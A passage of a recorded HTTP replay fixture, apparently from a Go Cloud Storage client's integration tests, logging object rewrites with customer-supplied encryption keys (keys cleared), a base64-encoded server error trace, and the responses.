RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTggbW9yZVxuLCBlcnJvclByb3RvQ29kZT1SRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWSwgZXJyb3JQcm90b0RvbWFpbj1jbG91ZC5iaWdzdG9yZS5hcGkuQmlnc3RvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9VGhlIHJlcXVlc3RlZCBvYmplY3QgaXMgZW5jcnlwdGVkIGJ5IGEgY3VzdG9tZXItc3VwcGxpZWQgZW5jcnlwdGlvbiBrZXkuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1UaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS4sIHJlYXNvbj1yZXNvdXJjZUlzRW5jcnlwdGVkV2l0aEN1c3RvbWVyRW5jcnlwdGlvbktleSwgcnBjQ29kZT00MDB9IFRoZSB0YXJnZXQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlJFU09VUkNFX0lTX0VOQ1JZUFRFRF9XSVRIX0NVU1RPTUVSX0VOQ1JZUFRJT05fS0VZXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QucmV3cml0ZShSZXdyaXRlT2JqZWN0LmphdmE6MjAwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjE5Mylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5yZXdyaXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOCBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJUaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS4ifX0=" - } - }, - { - "ID": "6c83b36cc6fc482c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Copy-Source-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Copy-Source-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Copy-Source-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3527" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqGOUzu40Jq-_GztkQxoFN64MHcSoZjph7ivV8tqrp6ENxFIB0c82xqEdKKfcpqbJ2YXtXQgwflZgX-uiVOgGY_1c8SLoV7geQMfErTz1Q0NDM4YDM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTEiLCJvYmplY3RTaXplIjoiMTEiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3NzEwODYxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMiIsIm5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NzEwODYxNCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNy4xMDhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzcuMTA4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM3LjEwOFoiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMj9nZW5lcmF0aW9uPTE1NTY4MzU4NzcxMDg2MTQmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3NzEwODYxNC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uLTIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc3MTA4NjE0IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNJYjN0c3Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3NzEwODYxNC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzcxMDg2MTQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSWIzdHN2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi0yLzE1NTY4MzU4NzcxMDg2MTQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24tMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24tMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc3MTA4NjE0IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNJYjN0c3Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIvMTU1NjgzNTg3NzEwODYxNC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi0yL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbi0yIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzcxMDg2MTQiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSWIzdHN2eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6InIwTkdyZz09IiwiZXRhZyI6IkNJYjN0c3Z4L2VFQ0VBRT0ifX0=" - } - }, - { - "ID": "e499f3b7077fb222", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption-2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Language": [ - "en" - ], - "Content-Length": [ - "11" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:37 GMT" - ], - "Etag": [ - "\"c7058d15ad157573e6940c2b95c00972\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:37 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:37 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:37 GMT" - ], - "X-Goog-Generation": [ - "1556835877108614" - ], - "X-Goog-Hash": [ - "crc32c=r0NGrg==", - "md5=xwWNFa0VdXPmlAwrlcAJcg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "11" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpfEf1WUM8E5dSmOe1sOfgheagnlrcFUolvMMBiP6jDvPqoS7Sx0IwklM-DwnuAbBJPQ_EHhX-42njQu9vUjXqamH1U6np0Vmi0BngqFYOTc9MVP3M" - ] - }, - "Body": "dG9wIHNlY3JldC4=" - } - }, - { - "ID": "9e67dfa901c4e619", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "FnBvfQ1dDsyS8kHD+aB6HHIglDoQ5Im7WYDm3XYTGrQ=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; 